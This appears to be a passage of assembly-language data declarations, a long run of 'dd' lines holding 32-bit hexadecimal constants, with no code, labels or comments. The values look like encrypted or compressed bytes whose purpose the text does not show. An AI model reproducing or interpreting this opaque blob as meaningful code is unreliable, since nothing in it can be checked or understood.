		dd 2B2BCFDAh, 2A8BF65Dh, 0F9129CFAh, 0F023EE62h, 50553E52h
		dd 8E4A3101h, 0BFD4DBD0h, 0C618FE11h, 0BE553F11h, 6CF21BFBh
		dd 0F54DC2FFh, 0C229AE06h, 0D2BB54FFh, 3D225417h, 0F3B2C751h
		dd 2EB7EEF7h, 84C4F52Ah, 0C89EDA8Eh, 8EC1C331h,	855F33D2h
		dd 9972F17Ch, 0E1FAE082h, 79D72B8Bh, 0F358DD95h, 91A634B9h
		dd 0FABC51D1h, 0ED36D991h, 0BF3D41AFh, 75CE1F6Bh, 4830CEF8h
		dd 0AF18D384h, 624C55D1h, 0E4DC83E8h, 0B0C6770Ch, 2BAD7CD2h
		dd 0B38BD388h, 0EA7DB5F2h, 0D9DF2A98h, 71BE3D7Bh, 0CED7EEFFh
		dd 278D0EEDh, 0A5A85355h, 0DBCA9790h, 0C5928BA9h, 69298AE2h
		dd 97517D45h, 464E1995h, 0D65278ACh, 0E9B8FA5h,	0D898C2FFh
		dd 948CB211h, 0C2043315h
		dd 590A6E1Bh, 465EE3ECh, 89EE9BEDh, 0C7038250h,	0F3B2C391h
		dd 0C8A7C61Ah, 0AB8E0EADh, 0B5521B46h, 0A92AE72Ah, 57B88FA2h
		dd 0C7B649AEh, 48C27577h, 33A051DEh, 861DAC1Dh,	4C864AD0h
		dd 5A6F4521h, 0AB085415h, 77505236h, 0C6BC3A9Ch, 8AC1F845h
		dd 73A55741h, 2F19F882h, 76392877h, 76217588h, 50600634h
		dd 5CFF0FDBh, 8A399257h, 7015D211h, 0ABAF2481h,	0D1FC4780h
		dd 54306709h, 75D037F0h, 8573FB6h, 4C04CD08h, 23C8B2DAh
		dd 24F75024h, 1B4C8A4Eh, 1B4C0149h, 31455C3Bh, 0B02588C9h
		dd 1C410D78h, 9D813950h, 48409F5Ch, 86826730h, 30BCBD7Eh
		dd 0AC318955h, 0EB153581h, 2EC12126h, 6CC0A2BAh, 8940A4A1h
		dd 0F1DC2494h, 5D862C81h, 170D5951h, 55D8C5F3h,	0F85AE059h
		dd 0EDBC64C6h, 9BE7ACA8h, 8E54BC91h, 2CBEBF94h,	19505975h
		dd 0FA79B865h, 3BD08C7h, 0C8124F8Bh, 8A717803h,	7178A837h
		dd 0C4C3360h, 1D464E2Ah, 0B012AE22h, 0A1842C50h, 7E737049h
		dd 0F2BCE4DDh, 0A7258A6Fh, 4652F79Eh, 50D08715h, 31192261h
		dd 8962FCEDh, 0B9416127h, 0F20389CEh, 60D0A8EAh, 9B317D40h
		dd 3F360E1Fh, 14E260h, 349E5673h, 4291A2B0h, 4C2EFC5Fh
		dd 38E6809Ch, 0A78A9FA3h, 0A3352032h, 6908C4Eh,	40A1BBACh
		dd 0F4B26615h, 3260422h, 71C87D96h, 0BB912034h,	54BD1927h
		dd 0B78B859Eh, 0CAEA2BA5h, 2D7455C8h, 0B5672F31h, 0BB9E8CBDh
		dd 74285638h, 0A910C0A5h, 454230C5h, 6E124F5Ch,	3237E06h
		dd 2A0FCC73h, 0A99A8062h, 0CD5B0A9Ch, 0BA3F2614h, 540C17F0h
		dd 0EBF0822Eh, 0F981C0FEh, 5F725D8Eh, 2D130A97h, 9D54658Bh
		dd 0A9D501CDh, 264ADC54h, 0BCF19491h, 9DCB275Fh, 0B3BA92A1h
		dd 20CEBCAAh, 7972CBD7h, 0DFC2FB3Fh, 2C63F38Dh,	1CC2C74h
		dd 5DE58EDAh, 29095AFh,	158ADBA0h, 0DB06CBF4h, 3963E9B0h
		dd 967E4E13h, 0D7BA04BBh, 9E3177F3h, 0D562C02Fh, 0E50C1EC5h
		dd 0CB998BD8h, 0E75287E7h, 0DAFCE4E0h, 654BD7EAh, 98A340F9h
		dd 0A60EB194h, 2FF317D8h, 0B8D07F2Dh, 0DB9CBAC1h, 0E2CB3318h
		dd 0D51805D6h, 0A33DF460h, 798DD330h, 4053A62Dh, 750B9552h
		dd 0E42A1106h, 20A7F230h, 3BFF40C7h, 0E52AC195h, 0EF407577h
		dd 0AD132D2Bh, 57EEBA7h, 0DC220FF5h, 6DDC6751h,	54B1699Fh
		dd 39E322FEh, 41A80C6Dh, 3B4F00E3h, 0E92EB8BAh,	2522833Bh
		dd 0FBF60248h, 5B46F305h, 0B25F0142h, 9B5169D8h, 0DFFE2159h
		dd 8BE16AFFh, 0F442460Dh, 58960209h, 5E2389C4h,	865D3ED0h
		dd 0E6615BE1h, 0BA37CC04h, 0EBBA7587h, 0FCD2E504h, 6CAA3952h
		dd 0A3BECC93h, 8E75B2D4h, 0AC29106Ah, 4A8893A2h, 0AAA641Eh
		dd 0E2C50875h, 0C5A4DB2h, 0E7E75FCh, 85E38BF0h,	0EE6FEEB1h
		dd 0F02DAD67h, 0DE154B7Bh, 0C69370EEh, 6307C39h, 7DEA8594h
		dd 92B2CABDh, 0A46832B0h, 94576058h, 202567C0h,	858498ECh
		dd 181B6A0Fh, 727C0EC6h, 93ADA07Ch, 4B6E862Ch, 447F6840h
		dd 5D39904Ch, 535DD719h, 9DE2BBA9h, 4C091751h, 8421ACFBh
		dd 3F3FCAE1h, 0B1E5F5FFh, 0E64C97E1h, 65A41CDCh, 77731D05h
		dd 3ABF8D2Ch, 2B5E8F45h, 409DF27Ch, 272CF4C1h, 0D63C9A66h
		dd 0CE8DF784h, 0BD6A82CBh, 0D28CF769h, 8059F2B1h, 0F41B74B9h
		dd 223A9320h, 34DF62E1h, 21D1E3B3h, 0BC597431h,	66211069h
		dd 66B8FB1Ah, 4B8B681Ch, 507522D3h, 971EA846h, 3FF2EAh
		dd 8CEA31D2h, 94ACF876h, 61EB9C8Fh, 3BE5D05h, 215FEE6Bh
		dd 58490106h, 0B770CDE2h, 0FF98A090h, 0A6360C0Ah, 5D4ECD48h
		dd 9FE7BD02h, 48CB7539h, 3E06F365h, 0FC21013h, 66FE4FD9h
		dd 9396595h, 2EB1F22Bh,	1A2AD0C4h, 9815B241h, 52D54010h
		dd 6AFF5FAAh, 9E086565h, 11067224h, 37525E3h, 0EB5EA337h
		dd 56AC3DEAh, 0A8D23531h, 4E03E8C2h, 2862DFEEh,	8471C3E0h
		dd 3222E188h, 92B8A810h, 0C9104D79h, 0D04FF94Ch, 0D8C0BE45h
		dd 4D30F175h, 0BA79A531h, 0DFB79D98h, 44F17A37h, 3E171B68h
		dd 9CABF830h, 2DD22C09h, 4BE08727h, 0EB1E85AFh,	39315A83h
		dd 4D828032h, 9EB8D460h, 97F9AC2Dh, 0AB316B2Eh,	49CD2342h
		dd 5B2140B1h, 988855D2h, 1EEE8C59h, 0A29787AEh,	1086CB70h
		dd 134DC4F1h, 0E10E103Bh, 86DAFC5Dh, 555FDDE9h,	7E1CA93Dh
		dd 7C8CA08Ch, 37173E87h, 48EA2BF5h, 0AC875782h,	0B0DBF80h
		dd 3EB2EFDAh, 537E32C6h, 0FB34F81Ch, 0E240BB34h, 4F671660h
		dd 0D028700Ch, 0C44E246Eh, 208A1F0Dh, 7D21B6FFh, 41A6A36Bh
		dd 6FFEFACEh, 8A59620Ah, 78552B34h, 1F0D9DCAh, 0DEF90188h
		dd 51FA6B40h, 13495161h, 8C737B08h, 1F98E36h, 37A11467h
		dd 0A08C3CAEh, 0EBF7C501h, 0B114C291h, 0CDD63ED7h, 873A05E9h
		dd 3D700E5Bh, 58CC446h,	80BD9FF7h, 0C55B819Ch, 696A03FEh
		dd 8DF22EC4h, 6AA2982Ah, 9C389037h, 80A82F80h, 0B19AC40Ah
		dd 0A5C1CC55h, 0DE8A32BCh, 0B44C25D6h, 0CC6930E9h, 56C9495Ch
		dd 0ACC61F4Eh, 8862F153h, 0C3B9FA37h, 395DC939h, 0A660EE1h
		dd 0FD881BD7h, 0AF6A7D3Eh, 17FE9F4Ch, 0BE497657h, 8BF365E6h
		dd 3424373Eh, 28CD3864h, 0EBA13837h, 0E60D4EA2h, 0BFBBCA87h
		dd 0C3170053h, 0D3BA27C7h, 0BD2BC127h, 0FF05C2F0h, 2E51E47Ah
		dd 0E42E5051h, 46D75EEh, 9B00C137h, 3E891824h, 4612026Ah
		dd 0CB480AB9h, 33922E8Ah, 0B628C01Bh, 0E98F4048h, 0A28E9442h
		dd 15A5A6D0h, 0CE915745h, 0D129E2E6h, 22BFF951h, 0B37ECDB5h
		dd 0F5E22663h, 0DC64B3F1h, 0D52A8E86h, 0CDC0BA37h, 51892AEDh
		dd 0A3523980h, 8465DDD5h, 81F126D3h, 0D98340E6h, 730089F1h
		dd 0FEEC8A3Bh, 731822E2h, 0F374C8D0h, 0E386DBB9h, 17F83823h
		dd 69B76178h, 0D61D6BABh, 28CC2B14h, 8511EB81h,	470BCA38h
		dd 0B8238159h, 0F64DC2F5h, 354F5CE5h, 7619F72Ah, 0CE8223A5h
		dd 2307C5Ch, 0D9C4CEB1h, 4B576255h, 0E2807945h,	514E2B48h
		dd 0B86DBA14h, 60AF7316h, 0CE51C268h, 0F71C6207h, 0F914A70h
		dd 21AEEA8Ah, 951057D6h, 5AE8A38Ch, 55135DEEh, 2E491F07h
		dd 51CAD566h, 15683BFh,	0A08ACA6Eh, 69E32E73h, 0C9C2DF37h
		dd 97418B9h, 1A772CA7h,	7784DDAFh, 4877CBBBh, 6286A3A9h
		dd 3827C478h, 0E4C1E822h, 92CC98D9h, 0E4398CFBh, 1945792Bh
		dd 0C5AED123h, 5D6046AEh, 2843D1EFh, 163F37A7h,	0F25AF39Ch
		dd 4A24FE5h, 0BA42BF0Ah, 7A3E75CBh, 75FCB150h, 0FFE51381h
		dd 0E839E22Bh, 91CE2184h, 66364043h, 1C605217h,	8CD39BD7h
		dd 20CA6914h, 0CA378CA4h, 0CB7446BAh, 0A1A217E2h, 2CCFAF80h
		dd 0EA66D5A4h, 8AB78310h, 0FB42CCA4h, 586E4704h, 14A0703Ch
		dd 0AEDD91E0h, 1367968Ch, 0EB980ACCh, 0ADCD4A77h, 0E2E83032h
		dd 3AB58E7Ah, 0F92AECA5h, 2F4EA88Ah, 710AAA04h,	6BB46684h
		dd 0B015B5A1h, 51CA2202h, 0E5544D58h, 1DD9BB36h, 0EC164B17h
		dd 0DE2AB5CEh, 0A9C080B0h, 3B845BB1h, 0CBAF13FAh, 3403E33Fh
		dd 0FB3FC0BDh, 0B6772DA6h, 18A98990h, 0AA1BC052h, 8E32E9A3h
		dd 748AC802h, 462DE591h, 8336130Ah, 0F9752B16h,	20B68A47h
		dd 0E67306F7h, 6BABA74Ah, 0E6741DA0h, 710C220Ch, 32F84110h
		dd 95503A12h, 3802BE24h, 39C1B415h, 0A91E50Ah, 249CACE5h
		dd 0BF75C4C1h, 5FA6396Bh, 29D1D11Fh, 0CB2BA04Bh, 5402B540h
		dd 0A77EB841h, 1B97D701h, 734536EDh, 0BBC815C3h, 5ED0EAB3h
		dd 0E68ECD74h, 8B03675Ch, 595EB684h, 0B4602302h, 0F0D2E1AEh
		dd 0FFFCF29Ah, 0B830D5C9h
		dd 64B7B5C5h, 2A8B1FBFh, 81CFBCB6h, 0E20E0CFEh,	940B1CD4h
		dd 0F8EEEF05h, 0D2841673h, 17B1B3ACh, 0FAB7D1DDh, 119AB13Ah
		dd 0D4152277h, 776350Ch, 0C3A9F68Fh, 0B5DE0E0Eh, 5E7B69CCh
		dd 5EA24AE0h, 610900C5h, 1020EECFh, 5BB647D8h, 670C7759h
		dd 0B15D5F44h, 87CAAD87h, 67AECF72h, 9CD12A78h,	0EEC15EEDh
		dd 7ACFC05Bh, 91BC130Ch, 0D41B407Dh, 0CE4C9DD7h, 95E3A0E1h
		dd 0CC539028h, 7E3470EBh, 0DCA22AE7h, 91E88BDDh, 3CE33B6Ah
		dd 2445E4E5h, 0AE3826B0h, 186E1754h, 69AFCDE6h,	0DD793CBBh
		dd 5976CD19h, 0DA65028Ah, 5F95EEAEh, 45B9888Fh,	396656C3h
		dd 0BEF54281h, 1020ACBBh, 45B6F3A7h, 1AC5146Ah,	0EF0E22FDh
		dd 726843DBh, 1DAA96DFh, 0C442FEB8h, 0A0746159h, 4AC52814h
		dd 3110BFFAh, 22582497h, 0D4B48C5Fh, 893209FCh,	164E35DDh
		dd 7FF160E2h, 0E98D6E9Fh, 0FFA01313h, 4571D60Bh, 0D5DB194h
		dd 0CB8B7E8h, 0BE00C1EFh, 75F13CA8h, 3F6F0CFAh,	54CC6864h
		dd 0D57E4283h, 0FFFFF22Ah, 0C8910FA6h, 0B427FE4Fh, 9572DFA9h
		dd 9123D5Fh, 0CAFE84C5h, 954F080Eh, 0F6D51E54h,	26E5FEC2h
		dd 15AABB3Ah, 0B18ACC42h, 0F2FE4278h, 47474A02h, 0C49803B2h
		dd 0AE3F4ABAh, 0F688990Ah, 88F1599h, 2720C57Eh,	0F4A85D30h
		dd 38BE292Fh, 42FC6DFFh, 0A15E50C8h, 6A8A198Dh,	0C467413Ah
		dd 5FEBCC7Fh, 2F510BCEh, 0C540E888h, 303EC31Eh,	0D6766E3Bh
		dd 31C99707h, 0D58717D3h, 0D6C4C0F1h, 22251B0Bh, 28B082C3h
		dd 16E5D3C2h, 0F56BE7Bh, 57A2982Eh, 662AD469h, 417D8BE0h
		dd 0A0BE0D67h, 5D67A149h, 1C53EBC9h, 2180ECEAh,	75F8B622h
		dd 9A52D1C1h, 7E8562FFh, 9E9E5662h, 9749D8CDh, 0C81A4A1Bh
		dd 75004518h, 0AA0EA67Eh, 709DD208h, 0AD074D18h, 4F62E28Ah
		dd 0CAF12B35h, 40CE6E70h, 5B2A9E1Bh, 13367319h,	0C97DA7CEh
		dd 0E8AEAE4Ch, 0F7EC8AD1h, 60CADDA5h, 9BCA13EDh, 2470AAFCh
		dd 0D1C1EC14h, 8E471D4Eh, 2B94C630h, 1065128Ch,	0E882DB19h
		dd 4E32729Bh, 0ABA2D18h, 13088DD8h, 0FB24A2BBh,	0FB100884h
		dd 0D7E8FD44h, 331CBEDDh, 0BA301841h, 13A25729h, 84A38B45h
		dd 0E54B0991h, 307588CAh, 0FA9F536Fh, 512B729Eh, 0FAF57560h
		dd 301FB5EAh, 0CE2AF673h, 2D09A05h, 0B7A10292h,	70F1687Eh
		dd 298CD3F5h, 3E6F7C26h, 0E90D0786h, 523BD0C8h,	8218979Bh
		dd 0F7276534h, 15E0D11Dh, 9F0223E4h, 0A4C5F83Fh, 3ED3756Bh
		dd 0B85A4255h, 4BEBBFF1h, 0A8818CD4h, 0F1E5167Dh, 9975CAF5h
		dd 56B2F0F5h, 2430E45Eh, 0A6186BA4h, 2ACAD7D1h,	8BE3399Eh
		dd 5221EBB8h, 1D95F005h, 0FE4CF9h, 1005B733h, 31E6E43h
		dd 40C8220Ch, 0E36A0420h, 0EB2F4703h, 9BA84A2Fh, 0DC073F56h
		dd 5C1F81AFh, 7C678085h, 7B243C8Fh, 57306E66h, 0AC35E5D0h
		dd 2077BE0Bh, 0D3427048h, 0EFADCFA3h, 0D5977BAh, 8A52F1Eh
		dd 0D5892B54h, 59A36010h, 0B1D108Dh, 26213C0h, 85174D28h
		dd 0E356E6B1h, 0E65EF29Ch, 1AEA1BE0h, 47028588h, 8C8A5017h
		dd 45FA050Dh, 0B4AC822Dh, 0C1425E60h, 5B21F2Bh,	138AC6DFh
		dd 0F503D51Fh, 6D3CCCACh, 0D7F8A66Dh, 8C08C2C1h, 4FC5AB60h
		dd 616A0FFFh, 0C6B8F7E9h, 48B18118h, 0ADF7829h,	0B997DE31h
		dd 1B953F5Dh, 445A6332h, 6162991Fh, 760FF03Eh, 0A33B148Ah
		dd 0ACCB9DE0h, 83C49F4h, 0C0D02E25h, 607F31B4h,	7000C5CCh
		dd 0D1722C48h, 5D87E39Eh, 85E4912Bh, 6134AE37h,	12F7DD25h
		dd 0EC220FF1h, 67F8280Ch, 0EFA8C0Ch, 487ADDCEh,	31162B6Dh
		dd 0CF45D431h, 0DB80AF8Bh, 62348950h, 5F8535C8h, 34BEF048h
		dd 456B8988h, 24AFC36Dh, 0CF562C5Eh, 54069087h,	8A31FB62h
		dd 244A87A1h, 7F24ED34h, 128CE1ACh, 2648EFB2h, 0CA779371h
		dd 0E3D5EEEDh, 2574D887h, 25277B06h, 1B75F83h, 0EE325027h
		dd 58C64AC8h, 87596074h, 7EDB4388h, 873F19E7h, 51D35210h
		dd 2F48FED3h, 0D54CF3B1h, 0EBE51294h, 33AC7DFAh, 37D63257h
		dd 56D85D93h, 0F731E207h, 0EEBF4080h, 985B5542h, 0CCF943C0h
		dd 4950E07Bh, 0A8BEF38Ch, 0E3343542h, 0CC512A63h, 277C8707h
		dd 0FA15834h, 2AC4E83Dh, 0ACA87C64h, 0BA03DD32h, 0BEF4A590h
		dd 4F3B59E9h, 8CD7AC30h, 9CCD363Fh, 0DE572CCBh,	0D2D140CAh
		dd 8C12101Eh, 0EF59366Bh, 8E004CD5h, 0AD1993D1h, 0BCF24E19h
		dd 0FF5CAB58h, 7F4C2D3Bh, 2113A085h, 7A33C424h,	0F66C1339h
		dd 35EB3D71h, 47C9E8F3h, 55962B23h, 31C59AECh, 179EE313h
		dd 8A0CF3E9h, 0D1FF2F9h, 0D8E3D1B4h, 5A93170h, 0C9E61C55h
		dd 7A110E65h, 6B155C5Fh, 1213B447h, 6749D7CEh, 0C7623EDBh
		dd 2313D69Dh, 0C66B0D1Bh, 4668ED0Fh, 34D255C7h,	0BC4CDB30h
		dd 0B426EBFDh, 0D63959EFh, 42C5CE8Eh, 12C6479Fh, 52454649h
		dd 0CD08C71Fh, 6CBE662Fh, 86762160h, 2B1507EAh,	27990086h
		dd 33C5CE72h, 63581EEBh, 0F23E14BEh, 59EFAC39h,	5DF57315h
		dd 15970498h, 3F8C8AA0h, 69F1D055h, 9A46E0Dh, 0C57B543Ah
		dd 0CEA22A2Ch, 5F32E75Fh, 3F180235h, 3EFDB0DDh,	25E18A7Bh
		dd 4C8598DFh, 1C90D262h, 0BBE09B63h, 68172466h,	0F56AC1FEh
		dd 989A53ABh, 0A447557Ch, 489CC10h, 0A91D70Ah, 7DC605D6h
		dd 142FD8CDh, 0D4456145h, 653CD20Dh, 142FEF24h,	0FBB40405h
		dd 608BA609h, 0A22AB13Ah, 0C2A39E2Dh, 8DE7B90Ch, 0F145B59Ah
		dd 69A266C7h, 37EC0B57h, 7DBA7AE4h, 8C218ED6h, 9A222DE4h
		dd 0ED4A2846h, 2D48AF90h, 0A7893B5Ah, 0E6864A11h, 85FEA317h
		dd 0C23B78A2h, 28B490FAh, 27085A63h, 1E88D11Fh,	0E856EF5Fh
		dd 30C27666h, 0A31ADD80h, 6BB2210Ch, 1A64E4CEh,	8B9B4AB8h
		dd 9E6619B3h, 6801C632h, 7EC40063h, 6679A85h, 21946D00h
		dd 0E73D10D8h, 0EF39BAAEh, 929AE9EAh, 0A791218h, 430ACC54h
		dd 0C20A20BAh, 0C10AC24Ah, 0B03AC28Ah, 96CEC36Eh, 8C9F17ACh
		dd 5C3F600Bh, 32AA9F98h, 0F1E50F2Fh, 0E460CE2Dh, 8FCD218Ah
		dd 77833D30h, 52BD965Bh, 2C4935CCh, 4AA47DD6h, 0A80B2148h
		dd 13AC99D3h, 0EBB9A280h, 8A44FAF8h, 38ADDB1Eh,	49874DDh
		dd 0D1D7D21Ah, 9DEBBC27h, 825628EBh, 318BD732h,	68995982h
		dd 901082BAh, 58549600h, 629A4D66h, 0A585B02Ch,	164B8BB6h
		dd 95DD1D1Dh, 65A55B3Ch, 0AE192505h, 9A1C6493h,	0FB7E5DC9h
		dd 2DFA3F1Ch, 0C606015Ah, 4B292056h, 0A0081304h, 6F5E9C7Ch
		dd 5A166D50h, 0E58B0694h, 75E1C6D5h, 93F0B0ADh,	2BADF86Ah
		dd 5501068Ch, 15F40FC2h, 414D544Fh, 0F9BCEA26h,	0DEB86066h
		dd 737FAC40h, 99B4D4F2h, 0E14C2ACFh, 0E55C8CDCh, 1DCCFE05h
		dd 99F13C44h, 2F2F445Fh, 123690C0h, 0C4FDBE26h,	0A3CAEA4h
		dd 0F122894Bh, 19A45760h, 0F5C124A0h, 0D60E2726h, 0D8ECBFF4h
		dd 7AA88BA7h, 5181605Ah, 0F93DD0B4h, 4466E4BEh,	565B7BB0h
		dd 0A4B1000Dh, 911C8B70h, 0FD89EA09h, 18CA6D2Bh, 86EFA6EBh
		dd 4241CB36h, 0FC9007B5h, 0A8447D95h, 0E13E56B5h, 0CE84109Dh
		dd 0F074B8E0h, 16412245h, 925EDCC0h, 4F1EB2Dh, 31861020h
		dd 9F9958D0h, 7908310Dh, 19B964C6h, 2ADFBB6Eh, 0B05C250Ch
		dd 7DB463DAh, 47163FBDh, 28D4F2E9h, 4B703FFDh, 0F1B21475h
		dd 41A3A902h, 92DCC5F4h, 9A5550AFh, 2315ED32h, 17A5FBDCh
		dd 2FB89CBh, 0DF20D8FEh, 85E9F782h, 58907FE3h, 0D919EC8Eh
		dd 41134863h, 0DAA16A35h, 0BF7EBACh, 778E4D0Dh,	0EBDF0461h
		dd 0CF928769h, 0C7F50FECh
		dd 99056232h, 0C31B20B5h, 0F4308DF7h, 84504C98h, 0F0963F9Ah
		dd 0C7EB2C2Fh, 6A203FF3h, 19C382EEh, 0A467823Ch, 0B1A370B0h
		dd 7C5934ADh, 0D3253036h, 68699A4Dh, 0FB1426D0h, 7545F809h
		dd 3B2BC7D1h, 8CAF1ADAh, 0C97D59F8h, 63E8DBA9h,	0BEFD4DE0h
		dd 5001BEC0h, 0EA608818h, 8694682h, 998E0823h, 0C8551095h
		dd 63874F46h, 0B7863DCDh, 0FA02361Eh, 1EB2319h,	581DDDF5h
		dd 358CB6F7h, 504D537Ah, 44036F1Bh, 0A1AFBEC3h,	6B017DA0h
		dd 2297A1E6h, 9989A440h, 4815825h, 486C5388h, 6FA50B94h
		dd 3E350D70h, 820E2078h, 0C4350A7h, 0E922BCBBh,	871B8AE8h
		dd 0B360AB5Fh, 0D1617D8h, 143B676Bh, 0DF7742E5h, 4317F3C6h
		dd 0E3150B12h, 0E82C26E8h, 0F5379574h, 0E72EC3F6h, 0B05D6DE8h
		dd 0EC3AC091h, 9E345E6h, 7C1916B7h, 9F5D6D26h, 61141F3Ch
		dd 4636D6DCh, 0BC6FC82h, 1FEE790Ah, 0DFA42A4Ch,	0E08C0208h
		dd 0BF6800B3h, 0B0166FFBh, 0DDE18CF2h, 0C8431B9Fh, 757AA275h
		dd 793788DEh, 1FEEB361h, 0AB9F58FDh, 66547F98h,	2E1CFD15h
		dd 8031E411h, 484785F8h, 8F3B09B3h, 0EFA3A024h,	131412C4h
		dd 345E753Eh, 82163842h, 8595734Bh, 26F18916h, 288D873Ah
		dd 0CC64130h, 0D8E37D0Ch, 0EA536EBh, 0A14AD175h, 1F271101h
		dd 0C498A9B8h, 8A330BD2h, 7898CE5Fh, 202B8443h,	60703E1Ch
		dd 7088141Bh, 9C1D28BFh, 0CB490190h, 62EA9710h,	6C72AFE5h
		dd 0ED29DFCCh, 944C153Bh, 0A8B1A99Dh, 0F7F14223h, 0CFFC189Ah
		dd 6642540Bh, 15619D4h,	0E02EB6DDh, 20DD47CCh, 1F281468h
		dd 4734E2D9h, 1A72C49Dh, 3B03A6EAh, 70184BFEh, 0BFFBC781h
		dd 8D03E5B0h, 0D075F4EDh, 285DB8FEh, 0E8D92D65h, 7D304518h
		dd 0D33F4A70h, 0FC403EB5h, 77D5F685h, 6037F3B8h, 0CA601F62h
		dd 6644CA79h, 0FF28C175h, 5398058Bh, 0ED0F0B4Bh, 0FBF6166Bh
		dd 3E3017CFh, 0D9D158A2h, 8DE93FF7h, 3B82D92Eh,	29D1C1EAh
		dd 0C7869155h, 0D6A3B688h, 0E1BF3E5Fh, 7A71400Bh, 9FAA1014h
		dd 27EE34EDh, 9B07BA24h, 0B318AD80h, 0B2EE4ECh,	0CC440308h
		dd 884C61D2h, 0D4051778h, 3300AB65h, 59987F32h,	8F970317h
		dd 0FA174875h, 0ED019531h, 2E46396h, 0BC12446Dh, 0CC7F42D7h
		dd 628F0CBCh, 1A1C8642h, 0E100EB87h, 5050C345h,	0DFCC29DAh
		dd 0DD7BACCh, 0D638500Dh, 540138E3h, 0E3317DA6h, 0FF00C1C5h
		dd 48B2B42h, 0D71A41CAh, 0CFF5EF3Bh, 1C5C2EAEh,	0A016567h
		dd 0EA820952h, 81CC81A0h, 0F487E0CFh, 68185FEAh, 6360BBBDh
		dd 0A878B034h, 5C1F0FDBh, 5FD55579h, 728B471Eh,	47A6D551h
		dd 0C34BA73Bh, 5C187F6Dh, 48BDA9BAh, 0F02599F5h, 0DB923D70h
		dd 0BBC955B7h, 0BEE1D1E8h, 5C60698Bh, 0C0322174h, 138CE243h
		dd 0BC088F0Ah, 0CA8A17Bh, 8DA4A55Eh, 0F12842F9h, 0F14091FAh
		dd 9749244Bh, 190A433Eh, 34B728BFh, 52947A56h, 8EA5C96Ah
		dd 0BFD671D0h, 1F5BCC3Ah, 3956935Dh, 5D97827Ah,	0F07BABE3h
		dd 6ADF12FBh, 5E9921B1h, 0C856C1CAh, 0FB351247h, 6946FE0Bh
		dd 7A0129C9h, 0A202E351h, 0BA69F857h, 0EAA53D24h, 0AE977512h
		dd 0CA5DD64Bh, 1DB9612Eh, 90B3AFDAh, 0DCA5FA92h, 0C6A16694h
		dd 0AB87D20Dh, 1201C0A5h, 3AE89803h, 0A5CF30E9h, 2A5620C5h
		dd 359A94D9h, 76F4C109h, 0DE15433Bh, 1B040551h,	260BFA2h
		dd 70109062h, 30422920h, 94431039h, 0DB70AABh, 7CBD7CF4h
		dd 222B615h, 670CC777h,	798877F0h, 5D210986h, 463A2086h
		dd 83DAFF77h, 9AA1A01Dh, 0B163320Ah, 7813EBA8h,	0C0565D22h
		dd 8C9D80A3h, 0C5F081h,	393DA31h, 965A0D0Dh, 6346003Dh
		dd 16553009h, 997012D5h, 8546C457h, 2FAE1584h, 0BC3021A8h
		dd 41945568h, 8A9158AFh, 958BEF11h, 79319F63h, 8A00ECDAh
		dd 738C0A6Bh, 1E97D2C8h, 0AF81CFE0h, 0E10F9D75h, 0BBCF4DC6h
		dd 0F110C33Dh, 3BCD6707h, 91A308C6h, 9B95FF65h,	0EFDB6819h
		dd 6CDD0EFBh, 6F13C1FAh, 14BA8944h, 633C55F5h, 0F0B6F99Ah
		dd 21F84F88h, 87FAA066h, 3F604D72h, 536E6E54h, 0D62196CCh
		dd 2E9FD405h, 0AA628CB8h, 9D91A29Fh, 0C0D5F96Eh, 0BCAC1FDh
		dd 65005614h, 0AC9C878Ch, 673DC64h, 9E2FA878h, 11059728h
		dd 43CCE287h, 0A67319C1h, 9B7BE30Ah, 0C0D0163Ch, 6E7ECB49h
		dd 8D390F41h, 0B13FF943h, 6E00523Eh, 0BF47F036h, 2ECC33E0h
		dd 6C6C68E4h, 0AF2AC99Dh, 702122Eh, 0F012E60Eh,	294F03EFh
		dd 0EF807EA0h, 7511543Ah, 414F15A8h, 0BAE044Fh,	0BEEA2188h
		dd 1D2507B7h, 0FB8C8E8h, 0FFFEE3B4h, 0C89C2C5Fh, 909CD695h
		dd 8A92E4A7h, 0B05739D5h, 626A12C6h, 0C429D412h, 4A125648h
		dd 5C919C09h, 14138777h, 38BA2649h, 7FBF5B1Dh, 0C8896635h
		dd 34E07348h, 0A554BC69h, 0C1B82878h, 0A3B0F347h, 17EA1F49h
		dd 0A9151736h, 0AAEAC636h, 7C2649Ch, 988604A7h,	0EA5D842Ch
		dd 6CA180C6h, 0BFFF8B42h, 0FAD8EE1Ah, 419B0BEBh, 179D3B2Eh
		dd 3D0FD269h, 4130FDD4h, 62A99226h, 0A87B1631h,	0D4289BBh
		dd 0B60AA41Dh, 0FF715AC4h, 728B0AF5h, 8E024724h, 8FADA403h
		dd 5500508h, 0C89FFF11h, 0C920F662h, 6B3084E5h,	4D286278h
		dd 0F85FE8D9h, 0A0DF76DFh, 3A46E9B3h, 550EB80Ah, 3AA1FAD0h
		dd 0A28706E0h, 0B5496E02h, 0BED2B470h, 0FBF8154h, 3146317Dh
		dd 40F8698Ah, 5DC5D4DEh, 0DC365F66h, 0A25B0F84h, 775EF130h
		dd 16CF4D28h, 7A85F146h, 0D3783014h, 0BAF1188h,	0A709267Fh
		dd 3A883D5Fh, 181743EAh, 43E85918h, 9F243A29h, 7D91FD22h
		dd 7E9362E9h, 80A18BA2h, 913E8266h, 2673F486h, 50FC89Fh
		dd 6D028662h, 1C1B6AAAh, 1274BE00h, 41E5F13h, 0CF572F82h
		dd 16CC66A3h, 0ACC5AC1Ch, 5601E554h, 84F0B376h,	7A30050Fh
		dd 57FA37C6h, 74EEB0FEh, 1A59D7FDh, 9A3AAC58h, 3FDDA21Dh
		dd 90FC9971h, 4E8AB4C0h, 96571529h, 0E89BAF6h, 4E37863Dh
		dd 0CDA6AE73h, 38F24C9Fh, 0A869550Eh, 35F482F1h, 2F61F565h
		dd 0AA9AFF22h, 0A45A81AFh, 8C44EADEh, 0A41110D3h, 9A4AFF7Fh
		dd 0BFECBD06h, 42C83A37h, 3E3D91A4h, 3122C5D1h,	0D869F419h
		dd 40E98113h, 1FD399A1h, 0DEBAD45Fh, 8D5DA174h,	695FCE81h
		dd 0D52563A0h, 0A5A68FA3h, 0AAEE3611h, 62ED69EAh, 6C6F1A73h
		dd 0EB62A60h, 945A14D2h, 4BB42EE0h, 4C3077DEh, 188A89BCh
		dd 0B48D8561h, 0BBA01B84h, 589C28ADh, 0A68A1243h, 8C4F7F22h
		dd 0F4F1CC95h, 25C81F8Bh, 7BB7A515h, 238A95D4h,	3B550BEDh
		dd 0A5246659h, 696AA6C1h, 0CD7DE481h, 0CE7D7B02h, 0D690A262h
		dd 2829FB0Dh, 0AEA3338Dh, 4269A844h, 4091DEB1h,	1D55414Ah
